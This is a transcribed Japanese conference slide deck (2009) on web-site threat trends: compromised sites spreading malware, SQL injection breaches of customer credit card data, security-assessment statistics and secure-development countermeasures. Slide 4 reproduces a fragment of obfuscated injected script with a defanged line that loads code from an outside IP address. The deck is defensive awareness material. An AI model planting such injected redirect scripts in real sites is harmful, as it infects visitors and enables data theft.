Microsoft PowerPoint - IW2009H1_nri_sakurai.pptx

Transcription

1 Internet Week H1 インターネットセキュリティ 脅威のトレンド 2009 Web サイトの動向 2009 年 11 月 24 日 テクニカルコンサルティング部セキュリティコンサルタント櫻井厚雄

2 目次 年の Web サイト被害状況 2. Web サイトのセキュリティ実態 3. 対策 4. 今後の展望 1

3 年の Web サイト被害状況手口その 1 マルウェア頒布への悪用 改竄サイトを基点とした大規模なマルウェア感染 2

4 年の Web サイト被害状況手口その 1 マルウェア頒布への悪用 注入コード (function(){var l=this,g,y=l.jquery,p=l.$,o=l.jquery=l.$=function(e,f) {return new o.fn.init(e,f)},d=/^[^<]*(<(. s)+>)[^>]*$ ^#([ w-]+)$/, f=/^.[^:# [.,]*$/;o.fn=o.prototype={init:function(e,h){e=e docume nt;if(e.nodetype){this[0]=e;this.length=1;this.context=e;return this 注入コードは難読化されており 検知が困難 被害者のブラウザ上 でデコードされる 実行コード document.write((<script src= hxxp://94.24x.2.19x/news/?id=100 AdobeAcrobat 脆弱性 誘導先は目まぐるしく変化するため ブロックが困難 ActiveX 脆弱性 Flash Player 脆弱性 脆弱性は最新のもの 時に はゼロデイのものが利用さ れるため 対応が困難 ユーザー 3

5 年の Web サイト被害状況手口その 2 SQL インジェクション 今年も発生した大規模 SQL インジェクション被害 対象サイト時期件数被害内容 漏洩した情報 カカクコム 2005 年 5 月約 22,500 件メールアドレス ワコール 2005 年 11 月 5,188 件個人情報 ( クレジットカード情報を含む ) ワコール 2005 年 11 月 5,188 件個人情報 ( クレジットカード情報を含む ) ( 下着製造 販売 ) オズインターナショナル 2008 年中略顧客情報 5 月 2 万件 ( クレジットカード情報含む ) ホッタ株式会社 2008 年 9 月 1 万 8000 件顧客情報 ( クレジットカード情報含む ) アスマート ( 含む同系列サイト ) 2009 年 8 月約 14 万 5000 件個人情報 ( クレジットカード情報を含む ) イーサプライ 2009 年 8 月約 5600 件個人情報 ( クレジットカード情報を含む ) デジタルダイレクト 2009 年 8 月約 16 万 1000 件個人情報 ( クレジットカード情報を含む ) ( 出所 ) 各種報道記事から NRI セキュアテクノロジーズ作成 4

6 年の Web サイト被害状況 Web サイト攻撃に悪用される脆弱性 Web サイト侵入によるコンテンツ改竄 アクセス制御やパスワード管理等 愉快犯主体の時代からあった問題 SQL インジェクションによる情報漏洩や改竄 SQL インジェクションの国内メジャーデビューは 4 年以上も前 Web サイト攻撃に悪用される脆弱性は新しい問題ではない Web サイトには昔からある手口がいまだに通用する! 5

7 2.Web サイトのセキュリティ実態 2009 年度上半期の診断結果より 35% の Web サイトに致命的な欠陥が存在 計 98 の企業の Web サイトに実施したセキュリティ診断サービス結果 NRIセキュアの2009 年度上半期 (2009 年 4 月 1 日 ~9 月 30 日 ) Webアプリケーション診断サービス実績より セキュリティ診断結果 セキュリティ診断の実施結果 (2009 年度上半期 ) 35% のWebサイトで 実際に重要情報を不正に取得できる致命的な欠陥が見つかった Web アプリケーション診断とは Webサイトのセキュリティ欠陥を発見する商用サービス第三者 ( いわゆる ハッカー ) と同じ条件で 外部からセキュリティ上の問題点を探すサイト公開前もしくは既存サイトへの追加機能リリース前の最終チェック段階で診断するケースが大半 6

8 2.Web サイトのセキュリティ実態 2009 年度上半期の診断結果より これまでと比較しても致命的な問題を抱える Web サイト割合に大きな変化はない セキュリティ診断結果の経年分析 2009 年度になってもWebサイトのセキュリティレベルが大きく向上しているわけではない 相変わらず3 割強のWebサイトで 実際に重要情報を不正に取得できてしまう 危険度の高い問題が発見されなかったサイトは 2 割台にとどまる セキュリティ診断の実施結果 ( 年度別 ) 7

9 2.Web サイトのセキュリティ実態 2009 年度上半期の診断結果より 主要な脆弱性の発見割合にも大きな変化はない 主要な脆弱性の発見割合 セキュリティ診断の実施結果 ( 年度別 ) 重要情報に不正にアクセスできたケースでは 毎年以下の 3 つの脆弱性が比較的多く発見されている 関連チェック不足によるなりすまし 権限昇格による管理者機能へのアクセス SQLインジェクションによるデータベースへの不正操作 減らないクロスサイト スクリプティング脆弱性スクリプテ 相変わらず半数近くのWebサイトで発見される 8

10 2.Web サイトのセキュリティ実態 2009 年アンケート結果より 世間一般におけるセキュリティ診断の実施割合はおよそ 2 割程度 NRI セキュアテクノロジーズが実施したアンケート調査 Web アプリケーションのセキュリティ診断を実施している企業は 20.3% N= 実施している 実施していないが 実施を予定または検討中 実施しておらず 今後も実施する予定はない 実施しているかどうかわからない ネットワークやOS 66.8 Webサイトやシステムに関する情報セキュリティ管理 50.2 Webアプリケーション 34.4 物理的セキュリティ対策 32.7 データベース 17.5 無線 LAN 13.5 システム設計書 ( 設計内容のレビュー ) 5.7 出所 ソースコード 5.5 NRIセキュアテクノロジーズ その他 0.9 企業における情報セキュ 0.7 リティ実態調査 2009 特にない N=422 9

11 2.Web サイトのセキュリティ実態 セキュリティ診断を実施している企業は 20.3% セキュリティ診断の結果 35% の Web サイトに致命的な欠陥が発見される コストを掛けて診断を実施している意識の高いサイトでもこの数値 多くの Web サイトが危険な状態のまま運営されていることが懸念される 不正アクセスのリスクは日々増加 高度化 広範化する攻撃手法 金銭目的によるインターネット犯罪の増加 数多くの Web サイトがいつ被害にあってもおかしくない状況 10

12 3. 対策安全な Web サイトを真面目に構築しましょう 要件定義段階において セキュリティガイドラインを設定 システム開発において守るべきセキュリティ対策をまとめたガイドラインを作成 ガイドラインを軸としたマネジメントサイクル (PDCAサイクル) を構築 漏れのないセキュリティ要件定義を行う ガイドライン / セキュリティレビューを利用したセキュア設計 セキュリティ要件を適切に設計に落とし込む 実装工程でソースコードレビューを実施する 網羅的なレビューにより対策漏れを排除 問題が見つかったら同工程内で直ちに修正に着手 各フェーズで多層的にチェックを行う 工程が下流に進むに従って 潜在する問題が排除されてゆくようなアプローチ 公開直前には これまでの工程で漏れが生じた箇所のみ対策するだけで済む 結果 トータルでの費用を低く抑えられコスト効率の高いセキュリティ対策が可能 11

13 4. 今後の展望ハッカー視点から見た Web サイトセキュリティ 2009 年度上半期セキュリティ診断の結果から 診断対象はこれからオープンもしくは運用が本格的になっていくサイト 既存のサイトと比較してセキュリティレベルは大して向上していない 脆弱な Web サイトが日々作られ続けている 多くのユーザクライアントアプリが脆弱なのは既知だが 一気に狙うには? サイトを改竄すれば カモが向こうからやってくる マルウェア配布のための電波塔 通常ファイウォール等で阻止され DBにはダイレクトアクセスできない SQLインジェクションを悪用すれば WebアプリがDB 攻撃のための便利なインターフェースに 脆弱な Webサイトは攻撃者にとって色々と便利な攻撃ツール 今後も美味しくいただきます 12

14 お問い合わせは下記まで 東京都港区東新橋 汐留シティセンター TEL: Home Page: